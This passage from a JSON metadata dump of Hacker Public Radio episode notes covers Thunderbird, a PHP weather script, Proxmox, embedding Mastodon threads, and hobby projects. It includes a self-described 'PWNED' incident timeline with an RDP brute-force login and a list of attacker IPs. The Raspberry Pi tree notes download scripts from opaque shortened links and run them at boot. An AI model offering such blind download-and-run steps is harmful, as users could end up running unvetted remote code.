                                                                2. Keep your mailbox and device(s) secure and clean. Take extra steps\nto keep your mailbox tidy and secure. Compromised mailbox can authorize\naccess to your accounts on other websites, social media, etc. SECURE and\nTIDY are the keywords here.
                                                                3. \n
                                                              • \n
                                                            • \n
                                                            • Supporting source: archive: 450 - Crumbling\nFoundations.
                                                              \n

                                                            • \n
                                                            • Source: mozilla: Thunderbird Support.
                                                              \n

                                                            • \n
                                                            • Supporting source: mozilla: Organize\nYour Messages by Using Filters.
                                                              \n

                                                            • \n
                                                            • Supporting source: mozilla:\n...force Thunderbird to sync ALL IMAP folders...
                                                              \n

                                                            • \n
                                                            • Supporting source: mozilla: Where\nThunderbird stores your messages...

                                                            • \n
                                                            • Source: wikipedia: High crimes and\nmisdemeanors

                                                            • \n
                                                            \n","hostid":391,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Thunderbird, email, mintcast","version":0,"downloads":0,"valid":1}, {"id":4265,"date":"2024-12-06","title":"Drivecasting: arm sleeves, glasses and more.","duration":844,"summary":"Sgoti talks about arm sleeves and safety glasses.","notes":"\n

                                                            This work is licensed under a Creative Commons\nAttribution-ShareAlike 4.0 International License.

                                                            \n","hostid":391,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"arm sleeves, safety glasses, wooden toys","version":0,"downloads":0,"valid":1}, {"id":4266,"date":"2024-12-09","title":"What's the weather?","duration":1046,"summary":"Lee writes a script to check what the weather is like","notes":"

                                                            One web service that can find out the weather on the command line\nis:

                                                            \n
                                                            $ curl wttr.in
                                                            \n

                                                            Inspired by this is the following script in PHP that uses data from\n7timer.info

                                                            \n

                                                            Available at https://gist.github.com/macsplit

                                                            \n
                                                            <?php\n\ndate_default_timezone_set('UTC');\n\n$lon = "-0.19759370325694858";\n$lat = "51.35956063540873";\n\n$url = "https://www.7timer.info/bin/civil.php?lon=$lon&lat=$lat&unit=metric&ac=0&output=json";\n\n$weathers = [\n    'tsday' => "☀️ Hot Day",\n    'clearday' => "☀️ Clear Day",\n    'clearnight' => "🌙 Clear Night",\n    'pcloudyday' => "⛅ Partially Cloudy Day",\n    'pcloudynight' => "☁️ Partially Cloudy Night",\n    'mcloudyday' => "🌥️ Moderately Cloudy Day",\n    'mcloudynight' => "☁️ Moderately Cloudy Night",\n    'cloudyday' => "☁️ Cloudy Day",\n    'cloudynight' => "☁️ Cloudy Night",\n    'humidday' => "🌡️ Humid Day",\n    'humidnight' => "🌡️ Humid Night",\n    'lightrainday' => "🌧️ Lightly Rainy Day",\n    'lightrainnight' => "🌧️ Lightly Rainy Night",\n    'oshowerday' => "🌧️ Overcast Showery Day",\n    'oshowernight' => "🌧️ Overcast Showery Night",\n    'ishowerday' => "🌧️ Showery Day",\n    'ishowernight' => "🌧️ Showery Night",\n    'lightsnowday' => "❄️ Lightly Snowy Day",\n    'lightsnownight' => "❄️ Lightly Snowy Night",\n    'rainday' => "🌧️ Rainy Day",\n    'rainnight' => "🌧️ Rainy Night",\n    'snowday' => "❄️ Snowy Day",\n    'snownight' => "❄️ Snowy Night",\n    'rainsnowday' => "🌨️ Rainy and Snowy Day",\n    'rainsnownight' => "🌨️ Rainy and Snowy Night"\n];\n\n$json = file_get_contents($url);\nif (!$json) exit();\n$obj = json_decode($json);\n$init = DateTime::createFromFormat('YmdH', $obj->init)->getTimestamp();\n$series = $obj->dataseries;\n$now = time();\nforeach ($series as $k => $point) {\n    $timepoint = $point->timepoint;\n    $timestamp = $init + ($timepoint * 3600);\n    $diff = abs($timestamp - $now);\n    $data[$diff] = $point;\n}\n$key = min(array_keys($data));\n$measure = $data[$key];\n$temperature = $measure->{'temp2m'};\n$weather_desc = $weathers[$measure->weather];\n\necho "$weather_desc $temperature"."°C\\n";\n\n?>
                                                            \n\n

                                                            Editor's Note: Modified 2024-11-13 in line with comment #1

                                                            \n","hostid":403,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"php","version":0,"downloads":0,"valid":1}, {"id":4267,"date":"2024-12-10","title":"Borderlands Movie Review","duration":798,"summary":"Kevie shares his thoughts on the much maligned Borderlands movie","notes":"

                                                            Kevie, co-host of TuxJam, takes a look at the recently released Borderlands Movie with a spoiler free review of the much maligned production. Kevie shares his thoughts, as a fan of the game series, on the cast, story line and the film as a whole.

                                                            \n

                                                            For those who are interested in trying the game for the first time, be sure to check out the sale prices on CDKeys

                                                            \n","hostid":296,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"film, movie, shooters, hollywood, gaming","version":0,"downloads":0,"valid":1}, {"id":4268,"date":"2024-12-11","title":"Book review and an Emacs rabbit-hole","duration":753,"summary":"I talk about Mastering Emacs by Mickey Peterson","notes":"

                                                            https://www.masteringemacs.org/

                                                            \n

                                                            https://www.gnu.org/software/emacs/

                                                            \n","hostid":415,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Emacs,books,writing.text","version":0,"downloads":0,"valid":1}, {"id":4269,"date":"2024-12-12","title":"What is on My Podcast Player 2024, Part 2","duration":994,"summary":"This is an update on the podcasts Ahuka listens to.","notes":"

                                                            I listen to a lot of podcasts and so I am sharing my finds with the\ncommunity

                                                            \n

                                                            Links

                                                            \n\n","hostid":198,"series":75,"explicit":0,"license":"CC-BY-SA","tags":"podcasts","version":0,"downloads":0,"valid":1}, {"id":4270,"date":"2024-12-13","title":"Playing Civilization IV, Part 4","duration":951,"summary":"We continue our look at the mechanics of this game","notes":"

                                                            Civilization IV made some changes, and in this episode we look at the\nLeaders and Civs in the game. They matter a lot to your playing style,\nand again they will matter even more in future versions of the game.

                                                            \n

                                                            Links:

                                                            \n
                                                              \n
                                                            • https://www.civfanatics.com/civ4/civilopedia/civilizations/
                                                            • \n
                                                            • https://www.civfanatics.com/civ4/strategy/game-mechanics/unit-maintenance-explained/
                                                            • \n
                                                            • https://www.palain.com/gaming/civilization-iv/playing-civilization-iv-part-4/
                                                            • \n
                                                            \n","hostid":198,"series":122,"explicit":0,"license":"CC-BY-SA","tags":"Computer games, strategy games, Civilization IV","version":0,"downloads":0,"valid":1}, {"id":4271,"date":"2024-12-16","title":"Beginners guide to Proxmox","duration":733,"summary":"Al gives a overview of what Proxmox is and how to setup it.","notes":"

                                                            Link\nto a YouTube video which tells you more storage and Proxmox

                                                            \n

                                                            To change the Promox to use no subscription repository edit the\nfollowing file:

                                                            \n
                                                            nano /etc/apt/sources.list.d/pve-enterprise.list
                                                            \n

                                                            Add make sure the file looks like this:

                                                            \n
                                                            deb http://download.proxmox.com/debian/pve bookworm pve-no-subscription
                                                            \n

                                                            Save and exit the file

                                                            \n

                                                            Open the Ceph repository list file:

                                                            \n
                                                            nano /etc/apt/sources.list.d/ceph.list
                                                            \n

                                                            add make sure the file look like this

                                                            \n
                                                            deb http://download.proxmox.com/debian/ceph-quincy bookworm no-subscription
                                                            \n

                                                            Save and exit the file

                                                            \n","hostid":290,"series":8,"explicit":0,"license":"CC-BY-SA","tags":"proxmox","version":0,"downloads":0,"valid":1}, {"id":4272,"date":"2024-12-17","title":"Embed Mastodon Threads","duration":1037,"summary":"I'm reconstructing the development process writing Embed Mastodon Threads","notes":"

                                                            Episode 4 - Embed Mastodon\nThreads

                                                            \n

                                                            This is Episode 4 of the Plain Text Programs Podcast hosted at Hacker\nPublic Radio. As always I will include links with the show notes rather\nthan reading them on the podcast except there will be one exception to\nthat today, the link to my Plain Text Blog, home.gamerplus.org.

                                                            \n

                                                            My blog and this podcast were my inspiration for writing the Embed\nMastodon Threads program. Besides posting the show notes at Hacker\nPublic Radio where they have a comments section I also post them at my\nblog. Then I make a Mastodon post that includes a link to the show notes\non my blog and designate it as being the comment thread for that episode\nof the podcast. I also post a link to the comment thread on Mastodon in\nmy show notes. Or at least I did in the past.

                                                            \n

                                                            It came to mind that it would be nice to be able to display the\ncomment thread at the bottom of the blog post. So I made a Mastodon post\nabout this, and I quote.

                                                            \n
                                                            \n

                                                            So here's my idea.

                                                            \n

                                                            I want to use mastodon toots as a comment thread for my blog\nposts.

                                                            \n

                                                            At the bottom of the blog post I want to embed the toot and the\nreplies.

                                                            \n

                                                            I can pull the toot id from the embed code.

                                                            \n

                                                            Then I want to make a database query to get all the replies to that\ntoot.

                                                            \n

                                                            Then I can generate the embed codes needed to show the toot and all\nthe replies.

                                                            \n

                                                            I'm a mysql guy, not postgres. Also a Mastodon newb.

                                                            \n

                                                            I want to know how to get the reply ids for a toot.

                                                            \n

                                                            Any help, links, etc?

                                                            \n

                                                            End quote.

                                                            \n
                                                            \n

                                                            I immediately got responses from some programmers expressing interest\nin the idea and giving good advice.

                                                            \n

                                                            I did some research based on their suggestions. I had a good night's\nsleep. And then I made another post in the morning. And I quote.

                                                            \n
                                                            \n

                                                            Mastodon is so great.

                                                            \n

                                                            I had this idea last night and fiddled around with it long enough to\nrealize I was doing it wrong.

                                                            \n

                                                            So I made a post on Mastodon and almost immediately got help.

                                                            \n

                                                            I found some good info on the Mastodon API.

                                                            \n

                                                            I wake up this morning to more help and I found out about using curl\nin php to make https requests.

                                                            \n

                                                            Then a musician friend of mine who I've been following since before\nMastodon sends a working example, with code, in a javascript\nenvironment.

                                                            \n

                                                            And I've got a plan.

                                                            \n

                                                            End quote.

                                                            \n
                                                            \n

                                                            So credit where credit is due.

                                                            \n

                                                            The programmers, gamers, and musicians helping me were:

                                                            \n

                                                            Jeff the GenX Alien
                                                            \n@jeff@soapbox.hackdefendr.com

                                                            \n

                                                            EcksDy
                                                            \n@EcksDy@techtoots.com

                                                            \n

                                                            Malin
                                                            \n@malin@dice.camp

                                                            \n

                                                            and

                                                            \n

                                                            Wayne Myers
                                                            \n@conniptions@mastodon.social

                                                            \n

                                                            Now, I've known Wayne Myers since before I was ever on Mastodon. We\nshare an interest in free culture music and I have played his songs on\nmy radio show, Something Blue, recorded by his band, Fit and the\nConniptions.

                                                            \n

                                                            He sent some links in a couple of comments to other blogs that were\nembedding Mastodon threads which confirmed that my idea could work.

                                                            \n

                                                            Jeff the GenX Alien gave me some significant technical help. And I\nquote.

                                                            \n
                                                            \n

                                                            Use tootcli to learn everything you need to know about the inner\nworkings of Mastodon.

                                                            \n

                                                            https://github.com/ihabunek/toot

                                                            \n

                                                            Whatever the API supports so does toot.

                                                            \n

                                                            End quote.

                                                            \n
                                                            \n

                                                            So I looked into tootcli and the Mastodon API and I realized that I\ndidn't need to access the database for my program, I could just use the\nAPI.

                                                            \n

                                                            So, thanks Jeff.

                                                            \n

                                                            My second clue came from EcksDy. And I quote.

                                                            \n
                                                            \n

                                                            I've got some help too. Using the Mastodon API and curl in php it\nshould be doable.

                                                            \n

                                                            End quote.

                                                            \n
                                                            \n

                                                            So then I started to research using curl in PHP to retrieve json data\nfrom the Mastodon API and that's what I went with.

                                                            \n

                                                            I set up a testbed and Malin chimed in with test results. He\ncontinued to help with testing and ideas throughout the rest of the\nproject.

                                                            \n

                                                            That's why Mastodon is so great! Way better than consulting an AI\nbot.

                                                            \n

                                                            So I had my work cut out for me. Here is where this program is like\nmy Plain Text Programs. I work hard, up front, until I am convinced that\nI have an idea that will be easy to implement. This is much easier than\ndoing it the hard way first and then rewriting the program later after\nit becomes difficult to maintain.

                                                            \n

                                                            I said I had a plan. This was my plan.

                                                            \n

                                                            Write a PHP program that will generate a webpage that can be embedded\nin an iframe. This program will take a link as a parameter included in\nthe url.

                                                            \n

                                                            Get that link from the Mastodon embed code for the parent post.

                                                            \n

                                                            Use the API to retrieve the data associated with the parent post\nincluding the replies.

                                                            \n

                                                            Then generate the page by inserting the appropriate data into\nMastodon's existing embed structure.

                                                            \n

                                                            That's kind of a broad framework but it certainly seemed doable. And\nit was.

                                                            \n

                                                            So first I wanted to make the API call so I could look at the\ndata.

                                                            \n

                                                            I found this video by Alejandro AO.

                                                            \n

                                                            How to easily create cURL API requests in PHP (Wordpress, Laravel,\nSymfony) https://www.youtube.com/watch?v=iRLgEWMNA6w&t=602s

                                                            \n

                                                            He recommended that you use curl in the terminal to test your API\ncall. Then you use a web app called Curl-to-PHP to generate your PHP\ncode to make the same API call from your program.

                                                            \n

                                                            My first time consuming stumbling block was what I call the problem\nwith the colon.

                                                            \n

                                                            There are some great documents detailing the syntax for API calls\nwhich I will link to in the show notes.

                                                            \n

                                                            And where you are supposed to insert an id they show that as :id.

                                                            \n

                                                            Like an idiot I thought the colon was part of the syntax, not as they\nintended, a marker to indicate insert your id here. This is why I like\nto see actual code examples in syntax documents.

                                                            \n

                                                            Anyway I couldn't get it to work so I searched around until I found\nsome code examples and that turned on the lightbulb in my head.

                                                            \n

                                                            Now I was able to make API calls using curl in the terminal. I copied\nthe working curl command and pasted it into the Curl-to-PHP website and\nit output some code. And it worked! Which I was very glad about because\nprevious research into how to make API calls with PHP was confusing to\nsay the least. Sometimes PHP gifts you with and abundance of riches\nwhich doesn't always make life easier.

                                                            \n

                                                            So I made my API call from my program. The Curl-to-PHP code returned\n$result. And then I used the json_decode command to turn the result\nstring into an array of Mastodon data.

                                                            \n

                                                            $obj = json_decode($result, true);

                                                            \n

                                                            And I could use the print_r command to look at that data.

                                                            \n

                                                            print_r($obj);

                                                            \n

                                                            I immediately put the print_r command at the bottom of my program\nwhere it resides today as commented out debug code. This way while I was\nlooking at my program output I could just scroll down or search to find\nwhat the actual data looked like.

                                                            \n

                                                            So I fumbled around for a while before I figured out that I would\nneed the id and the url to make my idea work.

                                                            \n

                                                            Accessing json data is reading an array. So easy peasy or maybe not.\nThis code returns the id of the reply from inside a while loop where $i\nis the index.

                                                            \n

                                                            $id = $obj['descendants'][$i]['id'];

                                                            \n

                                                            Like I said, it looks easy now. Needless to say it took some head\nscratching to figure out the exact syntax.

                                                            \n

                                                            I used to be a mason and people would always ask me how I learned\nmasonry. I'd look them in the eye and say, \"Trowel and error\". There\nwas, in fact, a lot of trowel and error going on.

                                                            \n

                                                            So then I generated the embed code to display each post and it\nworked. For all of my posts. Not for replies from other servers.

                                                            \n

                                                            So I scrolled down and examined the json data and I found the url\nfield that had all the info about the replies, server, username, and id.\nSo I picked up the url field the same way I picked up the id field and\nupdated my code with the url server and name.

                                                            \n

                                                            This still didn't work. After staring at the json data for a while\nthe light finally dawned. The id I was using was the gamerplus id from\nmy server. The id I needed to use was in the url field from their\nserver.

                                                            \n

                                                            Now that I had become enlightened it was easy to notice that the url\nfield contained the exact info that I needed to use in the embed.\nRemember what I said about doing it the hard way before you replaced\nthat code with the easy way. That can happen even when you have a\nplan.

                                                            \n

                                                            So by using the url data in the embed I have less string handling and\nfewer lines of code.

                                                            \n

                                                            I went to bed and in the morning I made this post. And I quote. >\n> I am able to pull the urls from the json call so that should solve\nthe missing comments issue. > > And then it comes down to the\nissue of data structures. > > KISS > > I have decided, for\nnow, to display the comments in chronological order without concern for\nwhether a comment is a reply to the post or a reply to another comment.\n> > A chronological list rather than a tree. > > Easy to\nimplement (kind of/relatively) and easy to understand. Also no indents.\n> > This project will be licensed GPL so I am certainly open to\nothers applying other data structures to the data display. Everything\nyou need to display a tree is in the json. > > End quote.

                                                            \n

                                                            So the data structure I needed is called a multidimensional array or\nan array of arrays.

                                                            \n

                                                            In terms of a database table it is two columns and a bunch of\nrows.

                                                            \n

                                                            In terms of PHP arrays it's an array where each element is an array\nwith two values in it, the id and the url. Now, in my case, the id is\nfrom the gamerplus server. The url is from whatever server the replyer\ncalls home.

                                                            \n

                                                            I initialize the array with the parent post.

                                                            \n

                                                            $ids = array(array($id,$url));

                                                            \n

                                                            You can see the nested arrays in the code.

                                                            \n

                                                            Then I add items to the array like this.

                                                            \n

                                                            $ids[] = array($id,$url);

                                                            \n

                                                            I access an array item like this.

                                                            \n
                                                            foreach($ids as $id) {\n  $url = $id[1];
                                                            \n

                                                            The 1 refers to the second element of the array because programmers\nstart counting at 0.

                                                            \n

                                                            Then using the url and the domain that I captured from the GET\nparameter that passes the parent url into the program I build the iframe\nembed for that post using the Mastodon embed as a template.

                                                            \n

                                                            Which worked but the posts weren't displayed in chronological order.\nBecause the json data isn't necessarily in chronological order.

                                                            \n

                                                            So I had to sort the multidimensional array on the id. Which isn't as\nstraight forward as the sort() command.

                                                            \n

                                                            So I found this article on stackoverflow called

                                                            \n

                                                            How do I sort a multidimensional array by one of the fields of\nthe inner array in PHP?

                                                            \n

                                                            It had a two line solution that I modified to work with my array.

                                                            \n

                                                            And now all my posts were in chronological order.

                                                            \n

                                                            Stack Overflow code is licensed CC BY which is one way compatible\nwith the GPL. Just include the attribution in a comment.

                                                            \n

                                                            My first post quoted above was posted on Friday, October 25, at 8:40\nPM.

                                                            \n

                                                            On Monday, October 28 at 8:52 PM I wrote, \"Here's the blog post proof\nof concept/working code.\"

                                                            \n

                                                            Three days from \"I have an idea\" to \"working code\". That wasn't all I\ndid in those three days. Saturday I had a repertoire session with my\nband, Jazz Buskers. Sunday I produced my radio show, Something Blue. But\nwhen I'm in the middle of a programming project I get hyper focused.\nSometimes I have to force myself to step away.

                                                            \n

                                                            And I have worked on the code a little bit today. And I will in the\nfuture too. I did a lot of testing today and some Mastodon servers\nand/or accounts just don't support embeds. But if you want to use Embed\nMastodon Threads on your blog or website your toot will probably be the\nparent and if it works on your account, you're good.

                                                            \n

                                                            Also posts from different servers look different. Sometimes the\nbackground color is different. Sometimes the links look different.\nSometimes the whole post is a link to that post on Mastodon.

                                                            \n

                                                            I decided to embrace that as a feature rather than a bug with the\ndifferent look making it easier to distinguish posts made on Gamer+ from\nposts made on other servers.

                                                            \n

                                                            I have uploaded Embed Mastodon Threads to home.gamerplus.org. At my\nblog I have a post called Embed Mastodon Threads Hosted On Gamerplus\nwhere I say, \"The program is licensed GPL and I will put up a codeberg\nrepository so you can download it and install it wherever you want. But\nfeel free to use my server.\" And then I go into detail about just how to\ndo that in the embedded comments thread.

                                                            \n

                                                            The program is 46 lines of code with 11 lines of comments including\nattribution comments and debug code that is commented out. So 35 lines\nof code. Over three days that's 12 lines of code a day. About double\nnormal expectations for a programmer.

                                                            \n

                                                            This has been a long podcast, certainly longer than most of my\npodcasts will be. But I wrote it right after I did the project and it\ngave me an opportunity to discuss the development process. There were\nmany issues I had that I didn't mention but I think I hit the high\npoints.

                                                            \n

                                                            Throughout the whole project I was posting to my threads on Mastodon\nso that also helped me check back on the development history of this\nthree day project. The stream of boosts and replies from my compatriots\nhelped keep me going too.

                                                            \n

                                                            It was a rush!

                                                            \n

                                                            So this is not exactly a plain text program because it uses a\ndatabase accessed through the Mastodon API. Still, I do not have to\nmaintain that database, it's just there on every Mastodon instance,\nready to use.

                                                            \n

                                                            Most of my plain text programs are web apps or web pages. This one is\na web service.

                                                            \n

                                                            And it is simple to use. All you have to be able to do is copy the\nembed code from Mastodon, extract the link, and paste the link into the\nurl that calls the web service. Then you put that url into an iframe on\nyour blog or web page.

                                                            \n

                                                            I have a help page for using Embed Mastodon Threads in the same\ndirectory as the thread.php program where you can generate and copy your\niframe code. In fact the help page is also a Plain Text Program which I\nmay talk about in a future podcast. On the help page are instructions on\nhow to get a link from the Mastodon embed code. Then you paste the link\ninto a form and hit submit. The page generates your iframe embed code\nthat you can use in your blog or web page. The page also displays what\nthe embedded thread will look like.

                                                            \n

                                                            If you would rather download the code and install your own instance\nof Embed Mastodon Threads I have a codeberg repository. Again all the\nlinks are in the show notes at Hacker Public Radio and at my blog at\nhome.gamerplus.org.

                                                            \n

                                                            If you have questions you can reply to a thread on Mastodon or email\nme at hairylarry@deltaboogie.com. If you don't have a mastodon account\nyou can get one at gamerplus.org.

                                                            \n

                                                            Links

                                                            \n\n","hostid":436,"series":25,"explicit":0,"license":"CC-BY","tags":"embed, mastodon, widget, php, plaintext","version":0,"downloads":0,"valid":1}, {"id":4273,"date":"2024-12-18","title":"Improving videography with basic manual settings","duration":1037,"summary":"How I learned to stop worrying and love the exposure triangle","notes":"

                                                            Getting a Good Starting Point for Indoor Videography:

                                                            \n
                                                              \n
                                                            1. Adjust lighting in the real world to get the look you want
                                                            2. \n
                                                            3. Set camera to full manual
                                                            4. \n
                                                            5. Set ISO to the base ISO of your camera
                                                            6. \n
                                                            7. Set shutter speed to match the frequency of your lighting
                                                            8. \n
                                                            9. Adjust exposure using the aperture
                                                            10. \n
                                                            11. Set white balance in camera
                                                            12. \n
                                                            13. Focus on your subject
                                                            14. \n
                                                            15. Put a color chart in front of your subject for a few seconds when you start shooting video
                                                            16. \n
                                                            \n

                                                            For more detail than I put into this HPR episode, consult this guide.

                                                            \n\n","hostid":149,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"photography, videography, exposure triangle","version":0,"downloads":0,"valid":1}, {"id":4274,"date":"2024-12-19","title":"The Wreck - I'm alright!","duration":991,"summary":"Archer72 talks about his car wreck and people he has met along the way.","notes":"

                                                            What happened?

                                                            \n
                                                              \n
                                                            • The way I saw it, along with police officers
                                                            • \n
                                                            \n

                                                            Recording the wreck

                                                            \n
                                                              \n
                                                            • Axet Audio Recorder\n
                                                                \n
                                                              • \"This is not paid off...\"
                                                              • \n
                                                              • \"I think I broke it\"
                                                              • \n
                                                              • \"I was just trying to get home\"
                                                              • \n
                                                            • \n
                                                            \n

                                                            Medical technology

                                                            \n
                                                              \n
                                                            • Implant\n
                                                                \n
                                                              • 400mm x 11mm Titanium rod
                                                              • \n
                                                            • \n
                                                            • Wikipedia
                                                            • \n
                                                            \n

                                                            Intramedullary_rod -\nWikipedia

                                                            \n
                                                              \n
                                                            • Intramedullary nail
                                                            • \n
                                                            • First used in World War II
                                                            • \n
                                                            • This aids healing and mobility in a short amount of time
                                                            • \n
                                                            \n

                                                            Other medical technology

                                                            \n

                                                            Prosthetics

                                                            \n

                                                            Realistic skin prosthetics

                                                            \n

                                                            Realistic skin\nprosthetics - Steepler Group

                                                            \n

                                                            Leg covers

                                                            \n

                                                            Decorative Leg covers

                                                            \n

                                                            Virtual library

                                                            \n

                                                            Virtual library - O & P\nLibrary

                                                            \n

                                                            Physical Therapy Gym

                                                            \n
                                                              \n
                                                            • Adjustable bed/mat
                                                            • \n
                                                            • Stretches
                                                            • \n
                                                            • Hand bike
                                                            • \n
                                                            • Stairs
                                                            • \n
                                                            • Adjustable car mock-up
                                                            • \n
                                                            \n

                                                            Accessibility

                                                            \n\n

                                                            Hacking the WiFi

                                                            \n
                                                              \n
                                                            • Questionable if I really disturbed the WiFi
                                                            • \n
                                                            \n

                                                            \"Nmap

                                                            \n

                                                            \"Broken

                                                            \n

                                                            \"Broken

                                                            \n","hostid":318,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"car, accident, medical, prosthetics, kmag, accessibility, wifi, termux","version":0,"downloads":0,"valid":1}, {"id":4275,"date":"2024-12-20","title":"What is on My Podcast Player 2024, Part 3","duration":1026,"summary":"This is an update on the podcasts Ahuka listens to.","notes":"

                                                            I listen to a lot of podcasts and so I am sharing my finds with the\ncommunity

                                                            \n

                                                            Links

                                                            \n\n","hostid":198,"series":75,"explicit":1,"license":"CC-BY-SA","tags":"Podcasts","version":0,"downloads":0,"valid":1}, {"id":4276,"date":"2024-12-23","title":"PWNED","duration":1279,"summary":"I share how I got pwned and or allowed myself to get pwned ...","notes":"
                                                            Time    Event\n11:14 PM 12/7/2024  RDP Brute force for username "internet" password "notyours"\n8:20 AM 12/11/2024  paypal charge for uber cash\n8:23 AM 12/11/2024  text from uber for MFA to google voice\n9:09 AM 12/11/2024  G2A pwned tried to buy 200$ worth of games etc\n9:21 AM 12/11/2024  email from google play saying I added Kathys card to my account\n9:22 AM 12/11/2024  email from amazon saying gift card canceled  .\n\nTop 10 Source IP Addresses:\n\nSource IP      Count\n---------      -----\n3.17.166.66    13165\n44.222.204.3    2213\n18.189.189.191  1748\n52.26.221.152   1662\n91.238.181.77    972\n88.214.25.72     600"
                                                            \n","hostid":36,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"hacking, computers, information security","version":0,"downloads":0,"valid":1}, {"id":4277,"date":"2024-12-24","title":"Introduction episode by Paul","duration":503,"summary":"Paulj is a new podcast host for HPR - this is his introductory podcast.","notes":"

                                                            No show notes for this introductory podcast!

                                                            \n","hostid":438,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"introduction","version":0,"downloads":0,"valid":1}, {"id":4278,"date":"2024-12-25","title":"Pi powered Christmas Tree","duration":883,"summary":"Kevie talks about setting up a LED Christmas Tree from The Pi Hut","notes":"

                                                            TuxJam co-host Kevie continues his series on Raspberry Pi projects with a look at the 3D RGB Xmas Tree from The Pi Hut. This is compatible with all of the Raspberry Pis,and, if you are going to use this as a stand alone Christmas decoration, it is recommended that you use RaspberryPi OS Lite.

                                                            \n

                                                            Obviously there does need to be a bit of setup, it is not plug and play, but that would be boring for a Pi project; wouldn't it? As I said: I used mine with a Pi Zero 2W and if you are starting from scratch then I would recommend using Pi Imager as this will allow you to set a user, password, automatic login, wifi and SSH. Call it something like tree for the client name on the network so that it is easy to find. Doing all of this will mean that this Pi never needs to be connected to a monitor. The notes below should take you through the process step-by-step.

                                                            \n
                                                              \n\t
                                                            1. Once the tree has been installed and the Pi is booted up, install GPIOZero (this step is only necessary if you installed RaspberryPiOS Lite) sudo apt install python3-gpiozero
                                                            2. \n\t
                                                            3. Create a new directory: mkdir tree and move into it with cd tree
                                                            4. \n\t
                                                            5. Now it's time to get the code: wget https://tinyurl.com/3rrezjv9 -O tree.py
                                                            6. \n\t
                                                            7. I went for the Xmas Tree Sparkle sequence by Rendzina. To get this simply type: wget https://tinyurl.com/5e8cxrb5 -O XmasTree_Sparkle.py
                                                            8. \n\t
                                                            9. Test out the sequence: python XmasTree_Sparkle.py
                                                            10. \n\t
                                                            11. To automate the tree we can set a cron task: sudo crontab -e
                                                            12. \n\t
                                                            13. Add the following lines to the end of the Crontab file: 30 22 * * * /sbin/shutdown -h now This shuts it down at 10.30pm every night. @reboot python /home/pi/tree/XmasTree_Sparkle.py This will switch on the tree when the Pi boots up.
                                                            14. \n\t
                                                            15. Exit and save.
                                                            16. \n\t
                                                            17. Reboot the Pi: sudo reboot
                                                            18. \n
                                                            \n\n

                                                            To take a look at the Pi Hut's starting documentation click here

                                                            \n

                                                            Redzina's custom scripts are available here.

                                                            \n\"A\n","hostid":296,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Christmas, RaspberryPi, Pi","version":0,"downloads":0,"valid":1}, {"id":4279,"date":"2024-12-26","title":"What is on My Podcast Player 2024, Part 4","duration":1127,"summary":"This is an update on the podcasts Ahuka listens to.","notes":"

                                                            I listen to a lot of podcasts and so I am sharing my finds with the\ncommunity

                                                            \n

                                                            Links

                                                            \n\n","hostid":198,"series":75,"explicit":0,"license":"CC-BY-SA","tags":"Podcasts","version":0,"downloads":0,"valid":1}, {"id":4280,"date":"2024-12-27","title":"Isaac Asimov: The Foundation","duration":1090,"summary":"A look at Isaac Asimov and the writing of the Foundation series.","notes":"

                                                            There were three authors who were considered the Big Three in the\nGolden age: Isaac Asimov, Arthur C. Clarke, and Robert A. Heinlein. We\nwill look at all three, but this episode is a look at Asimov, from his\nbeginnings to the writing of his most famous work, the Foundation\nseries. We will see what this series was saying in its original form of\nthe Foundation Trilogy, then at the expansion of the series in the 1980s\nwhen Asimov took it up again. We will also mention the trilogy assigned\nto three other writers in the late 1990s, and to the audio and video\nadaptations.

                                                            \n

                                                            Links:

                                                            \n\n","hostid":198,"series":124,"explicit":0,"license":"CC-BY-SA","tags":"Science fiction, Asimov, Foundation","version":0,"downloads":0,"valid":1}, {"id":4281,"date":"2024-12-30","title":"My ridiculously complicated DHCP setup at home","duration":480,"summary":"This is about how I setup my DHCP server at home","notes":"

                                                            \n Hello, this is Jon The Nice Guy, and after 10 years of knowing\n about Hacker Public Radio, here is my first podcast for the\n network.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n Firstly, I want to give a shout out to my Admin Admin Podcast\n co-host Al, who I heard just a week-or-so ago talking about\n Proxmox! Glad to hear you're over here too!

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n I wanted to record an episode on my ridiculously complicated DHCP\n setup at home. I'm not saying this is the right or even a good\n idea for anyone else, but it's something you might want to do.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n Firstly, a little about why I have a complicated DHCP setup, and\n it starts with the router my previous ISP gave me.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n My router could just about cope with serving DHCP, but at the time\n when I was experimenting with running services on my home lab, the\n DNS server on the router wouldn't return addresses for hosts on my\n network, just those on the public internet. This wasn't a great\n experience! So, I installed PiHole [1] - initially because I'd\n heard good things about it's ad blocking capabilities, but later\n because it was just a pretty and sensible DHCP and DNS server that\n I could do things with.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n Under the covers, PiHole is running DNSMasq [2], which means that\n all the configuration is plain text files that I can overwrite\n with Ansible [3].

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n My PiHole was running on a Raspberry Pi 2 [4], in a lego-style\n case [5] plugged into the back of my router. And this was fine for\n a few months. And then it ran out of storage space, I changed\n jobs, my wife complained one too many times, and I reverted back\n to using the router's DHCPd and DNS. I also picked up either\n Nebula [6] or Tailscale [7] at around that time too, so I didn't\n need internal DNS to resolve to home services any more, and\n anything public I setup external DNS records pointing to the\n internal addresses. Job done.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n Scrub forward a couple of years, and when I changed jobs, I got a\n joining bonus which paid for me to get wired network around my\n house. I also setup my own Proxmox [8] cluster, which I documented\n on a post [9] on my blog [10]. Again, everything was peachy. I\n setup home assistant [11], which I expose on to the internet via a\n proxy on my VPS, and everything was still good... but things are a\n little more complicated now - I've got more stuff to keep track of\n and the router's DHCP server was struggling a little... but it was\n all OK.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

